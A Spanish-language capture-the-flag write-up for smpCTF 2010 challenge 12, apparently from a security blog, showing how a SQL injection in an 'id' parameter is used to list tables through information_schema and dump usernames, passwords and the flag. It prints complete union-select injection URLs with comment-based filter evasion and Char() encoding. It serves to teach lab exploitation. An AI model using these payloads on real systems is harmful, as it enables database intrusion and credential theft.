Contenido principal

smpChallenge12 - smpCTF 2010 (Español)

Julio 14, 2010

smpChallenge - 12 (Web 2) por Fernando Muñoz

Descripción
Inglés
Retrieve cookie monsters password..
CookieMonster
Cookie monster, while awesome. Is not a good admin.. He has managed to remove most of the web content and forget his password. On accident, of course.. ;) If you can help him retrieve his password, he will give you a flag. Not a cookie...
Website: http://66.225.157.70:8009/level2/

Español
Recupera la contraseña de Triqui el monstruo come galletas
El Monstruo de las galletas, aunque asombroso, No es un buen admin.. Él ha conseguido remover la mayoría del contenido de la web y olvidó su clave. Un accidente por supuesto .. ;) Si puedes ayudarlo a recuperar su contraseña, él te dará una bandera. No una galleta...
Sitio web: http://66.225.157.70:8009/level2/

Resolución
El reto consiste en obtener el password del olvidadizo usuario cookieMonster.
Cuando entrabamos a http://66.225.157.70:8009/level2/ en el código fuente aparecía un comentario html

<!---Error: Unable to query user information: Invalid id--->

Al ingresar a http://66.225.157.70:8009/level2/?id=1, vemos que el párametro id acepta un identificador del usuario y nos muestra el mensaje "Hello nombreusuario" dependiendo del ID del usuario, intentamos ingresar algunos caracteres, como comillas o espacios, pero la mayoría son rechazados.

Aún así, este párametro es vulnerable a inyección SQL (Podemos mostrar información usando union select ya que no se trata de una inyeccion a ciegas), necesitamos obtener los nombres de las tablas; suponiendo que el sistema gestor de la base de datos es MySQL, podemos obtener en ciertas ocasiones las mencionadas tablas a través de una base de datos especial llamada information_schema, esta base de datos es "la base de datos de información, el lugar donde se almacena la información acerca de las otras bases de datos que actualmente el servidor mantiene."

La inyección a continuación fue usada para listar las tablas, cambiando el valor del limit podemos listar las tablas para el usuario actual:
http://66.225.157.70:8009/level2/?id=-1/**/union/**/select/**/1,2,table_name,4/**/from/**/information_schema.tables/**/where/**/table_rows<>0/**/limit/**/0,1--
La pseudo petición que hace el script al motor MySQL es la siguiente:

SELECT name FROM users WHERE id = -1 UNION SELECT 1, 2, TABLE_NAME, 4 FROM information_schema.TABLES WHERE TABLE_ROWS <> 0 LIMIT 0, 1

Usamos el TABLE_ROWS <> 0 para listar las tablas que contienen filas diferentes a 0, así podemos asegurar en cierta forma que vamos a listar las tablas que contienen información o que contienen filas.

Las siguientes fueron las tablas obtenidas con la inyección:
users, help_keyword, help_relation, help_topic, user

Como lo que nos interesa es el password, nos enfocamos en la tabla user, y obtenemos los nombres de las columnas con la siguiente inyección:
http://66.225.157.70:8009/level2/?id=-1/**/union/**/select/**/1,2,column_name,4/**/from/**/information_schema.columns/**/where/**/table_name=Char(117,115,101,114,115)limit/**/0,1--
Las columnas para la tabla users son:
id, name, pass, flag

Podemos también obtener las columnas para el resto de las tablas, a continuación se muestra un sencillo esquema que contiene las tablas y las columnas de cada tabla:

users (LIMIT 0,1)
    id
    name
    pass
    flag
help_keyword (LIMIT 1,1)
    help_keyword_id
    name
help_relation (LIMIT 2,1)
    help_topic_id
    help_keyword_id
help_topic (LIMIT 3,1)
    help_topic_id
    name
user (LIMIT 4,1)
    Host
    Password
    Select_priv
    Insert_priv
    ...
    Esta tabla corresponde a mysql.user

Ahora conociendo la tabla y sus respectivas columnas, podemos ahora leer los registros de la tabla, uno por uno, nuevamente variando los valores del limit:
http://66.225.157.70:8009/level2/?id=-1/**/union/**/select/**/1,2,concat(id,0x3a,name,0x3a,pass,0x3a,flag),4/**/from/**/users/**/limit/**/0,1--
Obteniendo los siguientes resultados

1:magik:newPass2:iR0ck
2:redsand:blaISAGHEYhorse:HaHa
3:cookieMonster:50c43871:lolFLAGlol

La solución por supuesto nos la ha dado el come galletas!

Respuesta
Challenge ID: 50c43871
Flag: lolFLAGlol

Recursos
Base de datos de información information_schema

Archivado en: Retos informáticos, Seguridad |

4 comentarios

  1. kagure Julio 15, 2010 @ 1:07 am

    Todas las soluciones al leerlas parecen facil gracias a la forma que han explicado con detalle gracias por que estan son las cosas bonitas para aprender.
    Yo les doy 1000 puntos mas por haberlas resuelto grande la comunidad sinfocol.

  2. servant Julio 17, 2010 @ 4:10 pm

    totalmente de acuerdo con kagure :) mil Gracias!

  3. Segundo aniversario Sinfocol | Seguridad Informática Colombiana Agosto 8, 2010 @ 8:55 pm

    [...] smpChallenge12 - smpCTF 2010 (Español) [...]

  4. tinpardo Febrero 15, 2012 @ 1:35 pm

    porfa bef0rd envíame un correo a tinpardo@gmail.com gracias

Deja un comentario